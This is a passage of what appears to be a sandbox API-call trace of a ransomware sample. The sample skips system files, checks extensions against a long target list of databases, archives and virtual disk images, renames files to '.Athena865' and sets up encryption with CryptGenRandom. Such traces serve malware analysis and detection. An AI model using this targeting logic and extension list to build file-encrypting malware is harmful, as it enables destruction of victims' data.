(lpString1="Eurosti.TTF", lpString2="ids.txt") returned -1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="ntuser.dat") returned -1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="perflogs") returned -1 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="MSBuild") returned -1 [0036.503] lstrlenW (lpString="Eurosti.TTF") returned 11 [0036.503] lstrcpyW (in: lpString1=0x241e87e, lpString2="Eurosti.TTF" | out: lpString1="Eurosti.TTF") returned="Eurosti.TTF" [0036.503] lstrlenW (lpString="Eurosti.TTF") returned 11 [0036.503] lstrlenW (lpString="Athena865") returned 9 [0036.503] lstrcmpiW (lpString1="rosti.TTF", lpString2="Athena865") returned 1 [0036.503] lstrlenW (lpString=".dll") returned 4 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2=".dll") returned 1 [0036.503] lstrlenW (lpString=".lnk") returned 4 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2=".lnk") returned 1 [0036.503] lstrlenW (lpString=".ini") returned 4 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2=".ini") returned 1 [0036.503] lstrlenW (lpString=".sys") returned 4 [0036.503] lstrcmpiW (lpString1="Eurosti.TTF", lpString2=".sys") returned 1 [0036.503] lstrlenW (lpString="Eurosti.TTF") returned 11 [0036.503] lstrlenW (lpString="bak") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="bak") returned 1 [0036.504] lstrlenW (lpString="ba_") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="ba_") returned 1 [0036.504] lstrlenW (lpString="dbb") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="dbb") returned 1 [0036.504] lstrlenW (lpString="vmdk") returned 4 [0036.504] lstrcmpiW (lpString1=".TTF", lpString2="vmdk") returned -1 [0036.504] lstrlenW (lpString="rar") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="rar") returned 1 [0036.504] lstrlenW (lpString="zip") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="zip") returned -1 [0036.504] lstrlenW (lpString="tgz") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="tgz") returned 1 [0036.504] lstrlenW (lpString="vbox") returned 4 [0036.504] lstrcmpiW (lpString1=".TTF", lpString2="vbox") returned -1 [0036.504] lstrlenW (lpString="vdi") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="vdi") returned -1 [0036.504] lstrlenW (lpString="vhd") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="vhd") returned -1 [0036.504] lstrlenW (lpString="vhdx") returned 4 [0036.504] lstrcmpiW (lpString1=".TTF", lpString2="vhdx") returned -1 [0036.504] lstrlenW (lpString="avhd") returned 4 [0036.504] lstrcmpiW (lpString1=".TTF", lpString2="avhd") returned -1 [0036.504] lstrlenW (lpString="db") returned 2 [0036.504] lstrcmpiW (lpString1="TF", lpString2="db") returned 1 [0036.504] lstrlenW (lpString="db2") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="db2") returned 1 [0036.504] lstrlenW (lpString="db3") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="db3") returned 1 [0036.504] lstrlenW (lpString="dbf") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="dbf") returned 1 [0036.504] lstrlenW (lpString="mdf") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="mdf") returned 1 [0036.504] lstrlenW (lpString="mdb") returned 3 [0036.504] lstrcmpiW (lpString1="TTF", lpString2="mdb") returned 1 [0036.504] lstrlenW (lpString="sql") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="sql") returned 1 [0036.505] lstrlenW (lpString="sqlite") returned 6 [0036.505] lstrcmpiW (lpString1="ti.TTF", lpString2="sqlite") returned 1 [0036.505] lstrlenW (lpString="sqlite3") returned 7 [0036.505] lstrcmpiW (lpString1="sti.TTF", lpString2="sqlite3") returned 1 [0036.505] lstrlenW (lpString="sqlitedb") returned 8 [0036.505] lstrcmpiW (lpString1="osti.TTF", lpString2="sqlitedb") returned -1 [0036.505] lstrlenW (lpString="xml") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="xml") returned -1 [0036.505] lstrlenW (lpString="$er") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="$er") returned 1 [0036.505] lstrlenW (lpString="4dd") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="4dd") returned 1 [0036.505] lstrlenW (lpString="4dl") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="4dl") returned 1 [0036.505] lstrlenW (lpString="^^^") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="^^^") returned 1 [0036.505] lstrlenW (lpString="abs") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="abs") returned 1 [0036.505] lstrlenW (lpString="abx") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="abx") returned 1 [0036.505] lstrlenW (lpString="accdb") returned 5 [0036.505] lstrcmpiW (lpString1="i.TTF", lpString2="accdb") returned 1 [0036.505] lstrlenW (lpString="accdc") returned 5 [0036.505] lstrcmpiW (lpString1="i.TTF", lpString2="accdc") returned 1 [0036.505] lstrlenW (lpString="accde") returned 5 [0036.505] lstrcmpiW (lpString1="i.TTF", lpString2="accde") returned 1 [0036.505] lstrlenW (lpString="accdr") returned 5 [0036.505] lstrcmpiW (lpString1="i.TTF", lpString2="accdr") returned 1 [0036.505] lstrlenW (lpString="accdt") returned 5 [0036.505] lstrcmpiW (lpString1="i.TTF", lpString2="accdt") returned 1 [0036.505] lstrlenW (lpString="accdw") returned 5 [0036.505] lstrcmpiW (lpString1="i.TTF", lpString2="accdw") returned 1 [0036.505] lstrlenW (lpString="accft") returned 5 [0036.505] lstrcmpiW (lpString1="i.TTF", lpString2="accft") returned 1 [0036.505] lstrlenW (lpString="adb") returned 3 [0036.505] lstrcmpiW (lpString1="TTF", lpString2="adb") returned 1 [0036.506] lstrlenW (lpString="adb") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="adb") returned 1 [0036.506] lstrlenW (lpString="ade") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="ade") returned 1 [0036.506] lstrlenW (lpString="adf") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="adf") returned 1 [0036.506] lstrlenW (lpString="adn") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="adn") returned 1 [0036.506] lstrlenW (lpString="adp") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="adp") returned 1 [0036.506] lstrlenW (lpString="alf") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="alf") returned 1 [0036.506] lstrlenW (lpString="ask") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="ask") returned 1 [0036.506] lstrlenW (lpString="btr") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="btr") returned 1 [0036.506] lstrlenW (lpString="cat") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="cat") returned 1 [0036.506] lstrlenW (lpString="cdb") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="cdb") returned 1 [0036.506] lstrlenW (lpString="ckp") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="ckp") returned 1 [0036.506] lstrlenW (lpString="cma") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="cma") returned 1 [0036.506] lstrlenW (lpString="cpd") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="cpd") returned 1 [0036.506] lstrlenW (lpString="dacpac") returned 6 [0036.506] lstrcmpiW (lpString1="ti.TTF", lpString2="dacpac") returned 1 [0036.506] lstrlenW (lpString="dad") returned 3 [0036.506] lstrcmpiW (lpString1="TTF", lpString2="dad") returned 1 [0036.506] lstrlenW (lpString="dadiagrams") returned 10 [0036.506] lstrcmpiW (lpString1="urosti.TTF", lpString2="dadiagrams") returned 1 [0036.506] lstrlenW (lpString="daschema") returned 8 [0036.506] lstrcmpiW (lpString1="osti.TTF", lpString2="daschema") returned 1 [0036.507] lstrlenW (lpString="db-journal") returned 10 [0036.507] lstrcmpiW (lpString1="urosti.TTF", lpString2="db-journal") returned 1 [0036.507] lstrlenW (lpString="db-shm") returned 6 [0036.507] lstrcmpiW (lpString1="ti.TTF", lpString2="db-shm") returned 1 [0036.507] lstrlenW (lpString="db-wal") returned 6 [0036.507] lstrcmpiW (lpString1="ti.TTF", lpString2="db-wal") returned 1 [0036.507] lstrlenW (lpString="dbc") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dbc") returned 1 [0036.507] lstrlenW (lpString="dbs") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dbs") returned 1 [0036.507] lstrlenW (lpString="dbt") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dbt") returned 1 [0036.507] lstrlenW (lpString="dbv") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dbv") returned 1 [0036.507] lstrlenW (lpString="dbx") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dbx") returned 1 [0036.507] lstrlenW (lpString="dcb") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dcb") returned 1 [0036.507] lstrlenW (lpString="dct") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dct") returned 1 [0036.507] lstrlenW (lpString="dcx") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dcx") returned 1 [0036.507] lstrlenW (lpString="ddl") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="ddl") returned 1 [0036.507] lstrlenW (lpString="dlis") returned 4 [0036.507] lstrcmpiW (lpString1=".TTF", lpString2="dlis") returned -1 [0036.507] lstrlenW (lpString="dp1") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dp1") returned 1 [0036.507] lstrlenW (lpString="dqy") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dqy") returned 1 [0036.507] lstrlenW (lpString="dsk") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dsk") returned 1 [0036.507] lstrlenW (lpString="dsn") returned 3 [0036.507] lstrcmpiW (lpString1="TTF", lpString2="dsn") returned 1 [0036.507] lstrlenW (lpString="dtsx") returned 4 [0036.508] lstrcmpiW (lpString1=".TTF", lpString2="dtsx") returned -1 [0036.508] lstrlenW (lpString="dxl") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="dxl") returned 1 [0036.508] lstrlenW (lpString="eco") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="eco") returned 1 [0036.508] lstrlenW (lpString="ecx") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="ecx") returned 1 [0036.508] lstrlenW (lpString="edb") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="edb") returned 1 [0036.508] lstrlenW (lpString="epim") returned 4 [0036.508] lstrcmpiW (lpString1=".TTF", lpString2="epim") returned -1 [0036.508] lstrlenW (lpString="fcd") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fcd") returned 1 [0036.508] lstrlenW (lpString="fdb") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fdb") returned 1 [0036.508] lstrlenW (lpString="fic") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fic") returned 1 [0036.508] lstrlenW (lpString="flexolibrary") returned 12 [0036.508] lstrlenW (lpString="fm5") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fm5") returned 1 [0036.508] lstrlenW (lpString="fmp") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fmp") returned 1 [0036.508] lstrlenW (lpString="fmp12") returned 5 [0036.508] lstrcmpiW (lpString1="i.TTF", lpString2="fmp12") returned 1 [0036.508] lstrlenW (lpString="fmpsl") returned 5 [0036.508] lstrcmpiW (lpString1="i.TTF", lpString2="fmpsl") returned 1 [0036.508] lstrlenW (lpString="fol") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fol") returned 1 [0036.508] lstrlenW (lpString="fp3") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fp3") returned 1 [0036.508] lstrlenW (lpString="fp4") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fp4") returned 1 [0036.508] lstrlenW (lpString="fp5") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fp5") returned 1 [0036.508] lstrlenW (lpString="fp7") returned 3 [0036.508] lstrcmpiW (lpString1="TTF", lpString2="fp7") returned 1 [0036.509] lstrlenW (lpString="fpt") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="fpt") returned 1 [0036.509] lstrlenW (lpString="frm") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="frm") returned 1 [0036.509] lstrlenW (lpString="gdb") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="gdb") returned 1 [0036.509] lstrlenW (lpString="gdb") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="gdb") returned 1 [0036.509] lstrlenW (lpString="grdb") returned 4 [0036.509] lstrcmpiW (lpString1=".TTF", lpString2="grdb") returned -1 [0036.509] lstrlenW (lpString="gwi") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="gwi") returned 1 [0036.509] lstrlenW (lpString="hdb") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="hdb") returned 1 [0036.509] lstrlenW (lpString="his") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="his") returned 1 [0036.509] lstrlenW (lpString="ib") returned 2 [0036.509] lstrcmpiW (lpString1="TF", lpString2="ib") returned 1 [0036.509] lstrlenW (lpString="idb") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="idb") returned 1 [0036.509] lstrlenW (lpString="ihx") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="ihx") returned 1 [0036.509] lstrlenW (lpString="itdb") returned 4 [0036.509] lstrcmpiW (lpString1=".TTF", lpString2="itdb") returned -1 [0036.509] lstrlenW (lpString="itw") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="itw") returned 1 [0036.509] lstrlenW (lpString="jet") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="jet") returned 1 [0036.509] lstrlenW (lpString="jtx") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="jtx") returned 1 [0036.509] lstrlenW (lpString="kdb") returned 3 [0036.509] lstrcmpiW (lpString1="TTF", lpString2="kdb") returned 1 [0036.509] lstrlenW (lpString="kexi") returned 4 [0036.509] lstrcmpiW (lpString1=".TTF", lpString2="kexi") returned -1 [0036.509] lstrlenW (lpString="kexic") returned 5 [0036.509] lstrcmpiW (lpString1="i.TTF", lpString2="kexic") returned -1 [0036.509] lstrlenW (lpString="kexis") returned 5 [0036.509] lstrcmpiW (lpString1="i.TTF", lpString2="kexis") returned -1 [0036.510] lstrlenW (lpString="lgc") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="lgc") returned 1 [0036.510] lstrlenW (lpString="lwx") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="lwx") returned 1 [0036.510] lstrlenW (lpString="maf") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="maf") returned 1 [0036.510] lstrlenW (lpString="maq") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="maq") returned 1 [0036.510] lstrlenW (lpString="mar") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mar") returned 1 [0036.510] lstrlenW (lpString="marshal") returned 7 [0036.510] lstrcmpiW (lpString1="sti.TTF", lpString2="marshal") returned 1 [0036.510] lstrlenW (lpString="mas") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mas") returned 1 [0036.510] lstrlenW (lpString="mav") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mav") returned 1 [0036.510] lstrlenW (lpString="maw") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="maw") returned 1 [0036.510] lstrlenW (lpString="mdbhtml") returned 7 [0036.510] lstrcmpiW (lpString1="sti.TTF", lpString2="mdbhtml") returned 1 [0036.510] lstrlenW (lpString="mdn") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mdn") returned 1 [0036.510] lstrlenW (lpString="mdt") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mdt") returned 1 [0036.510] lstrlenW (lpString="mfd") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mfd") returned 1 [0036.510] lstrlenW (lpString="mpd") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mpd") returned 1 [0036.510] lstrlenW (lpString="mrg") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mrg") returned 1 [0036.510] lstrlenW (lpString="mud") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mud") returned 1 [0036.510] lstrlenW (lpString="mwb") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="mwb") returned 1 [0036.510] lstrlenW (lpString="myd") returned 3 [0036.510] lstrcmpiW (lpString1="TTF", lpString2="myd") returned 1 [0036.510] lstrlenW (lpString="ndf") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="ndf") returned 1 [0036.511] lstrlenW (lpString="nnt") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="nnt") returned 1 [0036.511] lstrlenW (lpString="nrmlib") returned 6 [0036.511] lstrcmpiW (lpString1="ti.TTF", lpString2="nrmlib") returned 1 [0036.511] lstrlenW (lpString="ns2") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="ns2") returned 1 [0036.511] lstrlenW (lpString="ns3") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="ns3") returned 1 [0036.511] lstrlenW (lpString="ns4") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="ns4") returned 1 [0036.511] lstrlenW (lpString="nsf") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="nsf") returned 1 [0036.511] lstrlenW (lpString="nv") returned 2 [0036.511] lstrcmpiW (lpString1="TF", lpString2="nv") returned 1 [0036.511] lstrlenW (lpString="nv2") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="nv2") returned 1 [0036.511] lstrlenW (lpString="nwdb") returned 4 [0036.511] lstrcmpiW (lpString1=".TTF", lpString2="nwdb") returned -1 [0036.511] lstrlenW (lpString="nyf") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="nyf") returned 1 [0036.511] lstrlenW (lpString="odb") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="odb") returned 1 [0036.511] lstrlenW (lpString="odb") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="odb") returned 1 [0036.511] lstrlenW (lpString="oqy") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="oqy") returned 1 [0036.511] lstrlenW (lpString="ora") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="ora") returned 1 [0036.511] lstrlenW (lpString="orx") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="orx") returned 1 [0036.511] lstrlenW (lpString="owc") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="owc") returned 1 [0036.511] lstrlenW (lpString="p96") returned 3 [0036.511] lstrcmpiW (lpString1="TTF", lpString2="p96") returned 1 [0036.511] lstrlenW (lpString="p97") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="p97") returned 1 [0036.512] lstrlenW (lpString="pan") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="pan") returned 1 [0036.512] lstrlenW (lpString="pdb") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="pdb") returned 1 [0036.512] lstrlenW (lpString="pdm") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="pdm") returned 1 [0036.512] lstrlenW (lpString="pnz") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="pnz") returned 1 [0036.512] lstrlenW (lpString="qry") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="qry") returned 1 [0036.512] lstrlenW (lpString="qvd") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="qvd") returned 1 [0036.512] lstrlenW (lpString="rbf") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="rbf") returned 1 [0036.512] lstrlenW (lpString="rctd") returned 4 [0036.512] lstrcmpiW (lpString1=".TTF", lpString2="rctd") returned -1 [0036.512] lstrlenW (lpString="rod") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="rod") returned 1 [0036.512] lstrlenW (lpString="rodx") returned 4 [0036.512] lstrcmpiW (lpString1=".TTF", lpString2="rodx") returned -1 [0036.512] lstrlenW (lpString="rpd") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="rpd") returned 1 [0036.512] lstrlenW (lpString="rsd") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="rsd") returned 1 [0036.512] lstrlenW (lpString="sas7bdat") returned 8 [0036.512] lstrcmpiW (lpString1="osti.TTF", lpString2="sas7bdat") returned -1 [0036.512] lstrlenW (lpString="sbf") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="sbf") returned 1 [0036.512] lstrlenW (lpString="scx") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="scx") returned 1 [0036.512] lstrlenW (lpString="sdb") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="sdb") returned 1 [0036.512] lstrlenW (lpString="sdc") returned 3 [0036.512] lstrcmpiW (lpString1="TTF", lpString2="sdc") returned 1 [0036.512] lstrlenW (lpString="sdf") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="sdf") returned 1 [0036.513] lstrlenW (lpString="sis") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="sis") returned 1 [0036.513] lstrlenW (lpString="spq") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="spq") returned 1 [0036.513] lstrlenW (lpString="te") returned 2 [0036.513] lstrcmpiW (lpString1="TF", lpString2="te") returned 1 [0036.513] lstrlenW (lpString="teacher") returned 7 [0036.513] lstrcmpiW (lpString1="sti.TTF", lpString2="teacher") returned -1 [0036.513] lstrlenW (lpString="tmd") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="tmd") returned 1 [0036.513] lstrlenW (lpString="tps") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="tps") returned 1 [0036.513] lstrlenW (lpString="trc") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="trc") returned 1 [0036.513] lstrlenW (lpString="trc") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="trc") returned 1 [0036.513] lstrlenW (lpString="trm") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="trm") returned 1 [0036.513] lstrlenW (lpString="udb") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="udb") returned -1 [0036.513] lstrlenW (lpString="udl") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="udl") returned -1 [0036.513] lstrlenW (lpString="usr") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="usr") returned -1 [0036.513] lstrlenW (lpString="v12") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="v12") returned -1 [0036.513] lstrlenW (lpString="vis") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="vis") returned -1 [0036.513] lstrlenW (lpString="vpd") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="vpd") returned -1 [0036.513] lstrlenW (lpString="vvv") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="vvv") returned -1 [0036.513] lstrlenW (lpString="wdb") returned 3 [0036.513] lstrcmpiW (lpString1="TTF", lpString2="wdb") returned -1 [0036.513] lstrlenW (lpString="wmdb") returned 4 [0036.513] lstrcmpiW (lpString1=".TTF", lpString2="wmdb") returned -1 [0036.514] lstrlenW (lpString="wrk") returned 3 [0036.514] lstrcmpiW (lpString1="TTF", lpString2="wrk") returned -1 [0036.514] lstrlenW (lpString="xdb") returned 3 [0036.514] lstrcmpiW (lpString1="TTF", lpString2="xdb") returned -1 [0036.514] lstrlenW (lpString="xld") returned 3 [0036.514] lstrcmpiW (lpString1="TTF", lpString2="xld") returned -1 [0036.514] lstrlenW (lpString="xmlff") returned 5 [0036.514] lstrcmpiW (lpString1="i.TTF", lpString2="xmlff") returned -1 [0036.514] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Eurosti.TTF.Athena865") returned 48 [0036.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF.Athena865" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.athena865"), dwFlags=0x1) returned 1 [0036.514] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Eurosti.TTF.Athena865" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0036.515] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56760) returned 1 [0036.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.515] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.516] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.516] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.516] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe0c0, lpName=0x0) returned 0x154 [0036.517] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe0c0) returned 0x100000 [0036.520] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.521] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.521] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.522] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0036.522] CloseHandle (hObject=0x154) returned 1 [0036.522] CloseHandle (hObject=0x17c) returned 1 [0036.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0036.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.524] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, 